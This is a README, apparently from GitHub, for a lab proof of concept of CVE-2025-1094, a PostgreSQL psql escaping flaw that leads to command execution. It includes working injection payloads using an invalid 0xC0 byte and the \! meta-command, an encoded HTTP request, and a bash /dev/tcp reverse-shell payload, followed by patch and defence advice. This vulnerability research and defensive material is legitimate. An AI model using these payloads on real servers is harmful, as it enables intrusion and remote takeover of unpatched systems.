TranDongA3/POC-CVE-2025-1094
GitHub: TranDongA3/POC-CVE-2025-1094
针对 CVE-2025-1094 PostgreSQL psql SQL 注入漏洞的概念验证项目,通过构造含无效多字节字符的 Payload 绕过转义并借助 psql 元命令实现远程代码执行。
Stars: 0 | Forks: 0
# POC CVE-2025-1094: PostgreSQL psql SQL 注入
## 📋 目录
1. [漏洞简介](#1-giới-thiệu-lỗ-hổng)
2. [项目目录结构](#2-cấu-trúc-thư-mục-dự-án)
3. [攻击 Payload 分析](#3-phân-tích-payload-tấn-công)
4. [使用指南](#4-hướng-dẫn-sử-dụng)
5. [修复与防御方法](#5-cách-khắc-phục-và-phòng-chống)
## 1. 漏洞简介
### 概述
**CVE-2025-1094** 是存在于 PostgreSQL 的客户端库 `libpq` 和命令行工具 `psql` 中的一个严重漏洞。即使应用程序已经使用了标准的字符串转义函数(如 `PQescapeLiteral`),该漏洞仍允许攻击者执行 SQL 注入并进一步升级为远程代码执行 (Remote Code Execution, RCE)。
### 根本原因
该漏洞源于字符串转义库与 psql 解析器在处理无效的多字节字符(如 UTF-8)时存在的不一致性。
#### 两种主要攻击机制:
**1. 绕过转义**
- `PQescapeLiteral` 函数被一个“新字节”(例如 `0xC0`)欺骗。
- 它将该字节及其后的单引号 (`'`) 视为单个字符。
- 导致该单引号未被转义。
**2. 通过 Meta-commands 实现 RCE**
- 当这个格式错误的字符串被传递给 psql 工具时。
- 攻击者可以逃逸出 SQL 语句,并使用 psql 的系统命令 `\!`。
- 从而允许在服务器上执行任意 shell 命令。
## 2. 项目目录结构
本项目旨在模拟调用 C 语言 libpq 库的真实环境:
```
.
├── docker-compose.yml # Khởi động PostgreSQL + Web App
├── exolit.py # Exploit script - Tấn công từ bên ngoài
├── README.md # Tài liệu này
└── app/
├── app.py # Flask Web App - Tiếp nhận input user
├── Dockerfile # Build image chứa vulnerable code
└── init_db.sql # Khởi tạo database
```
### 主要组件:
- **Flask Web 应用程序**:通过 `/search` 接口接收用户输入。
- **libpq C 函数**:处理 SQL 查询,但未验证字节的有效性。
- **psql Meta-commands**:允许通过 `\!` 执行系统命令。
- **Subprocess Pipe**:应用程序通过输入流将 SQL 命令推送给 psql。
## 3. 攻击 Payload 分析
### Payload 示例
```
hax\xc0'; \! id; #
```
### 组件详细解析:
| 组件 | 值 | 含义 |
| ------------- | -------- | --------------------------------------------------- |
| 数据输入 | `hax` | 普通的正常数据 |
| 新字节 | `\xc0` | 无效的 UTF-8 字节 - 用于绕过转义 |
| 引号 | `'` | “伪装”的单引号 - 成功逃逸过滤器 |
| SQL 结束符 | `;` | 终止当前的 SQL 语句 |
| Meta-command | `\!` | psql 的特殊命令 - 逃逸到操作系统的 Shell |
| Shell 命令 | `id` | 需要执行的命令(可替换为 reverse shell) |
| 注释符 | `#` | SQL 注释符号 - 用于注释掉后面多余的部分 |
### 执行流程:
```
1. Input user: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
↓
5. Meta-command \! được kích hoạt
↓
6. Lệnh shell id được thực thi với quyền của container
```
## 4. 使用指南
### 方法 1:使用 Docker Compose(推荐)
#### 步骤 1:启动环境
```
docker-compose up -d
```
#### 步骤 2:等待容器启动
```
docker-compose ps
```
确保 PostgreSQL 和 Flask 应用程序均已运行。
#### 步骤 3:执行漏洞利用
```
python exolit.py
```
**预期结果:** 将显示从服务器获取到的 `uid=0(root)` 信息。
#### 步骤 4:停止环境
```
docker-compose down
```
### 方法 2:使用 Burp Suite(手动)
#### 发送 HTTP 请求
向 `/search` 发送一个 **POST** 请求,其主体如下:
```
name=hax%c0%27;+\!+id+;+%23
```
#### URL 编码参考:
- `%c0` = `\xc0` (无效的 UTF-8 字节)
- `%27` = `'` (单引号)
- `%23` = `#` (井号)
- `+` = 空格
#### Reverse Shell Payload:
```
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp//+0>%261"+;+%23
```
**注意:** 请将 `` 和 `` 替换为攻击者的 IP 和端口。
## 5. 修复与防御方法
### A. 更新补丁
将 PostgreSQL 升级到已修复该漏洞的版本:
| 版本 | 安全版本 |
| ------ | ----------------- |
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
### B. 检查编码
在处理之前,务必验证输入数据是否为有效的 UTF-8 编码:
```
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
```
### C. 限制使用 psql CLI
在应用程序开发中,请使用官方的驱动程序库:
```
# ❌ 不要:使用 subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ 要:使用 psycopg2 的 parameterized queries
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
```
### D. 最小权限原则
- **不要**以 `root` 权限运行 Web 应用程序。
- **不要**以 `root` 权限运行数据库。
- 使用具有最低权限的专用用户 (dedicated user)。
### E. WAF / IDS 规则
设置规则以检测以下模式:
```
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`
```
## 📚 参考资料
1. 源代码链接(修复前)
你可以查看 17.2 版本(仍存在该漏洞的版本)中的 src/interfaces/libpq/fe-exec.c 文件:
* GitHub 链接:REL_17_2 标签下的 PostgreSQL fe-exec.c (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
* 关键函数:请搜索 PQescapeStringInternal 函数(通常位于第 3400 行之后)。这是 PQescapeLiteral 和 PQescapeString 都会调用的“核心”函数。
2. 查看“补丁” - 白盒分析最重要的一环
要理解他们为什么会出现这个错误以及是如何修复的,最好的方法是查看 Commit Diff(错误版本与修复版本之间的差异)。
* 官方 Commit 链接:Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
3. 漏洞分析文章:https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/
标签:CISA项目, CVE-2025-1094, Docker, Exploit, libpq, POC, PostgreSQL, psql, Python, RCE, XXE攻击, 安全防御评估, 应用安全, 数据展示, 无后门, 测试用例, 漏洞分析, 红队, 编程工具, 网络安全, 请求拦截, 越权执行, 路径探测, 远程代码执行, 逆向工具, 隐私保护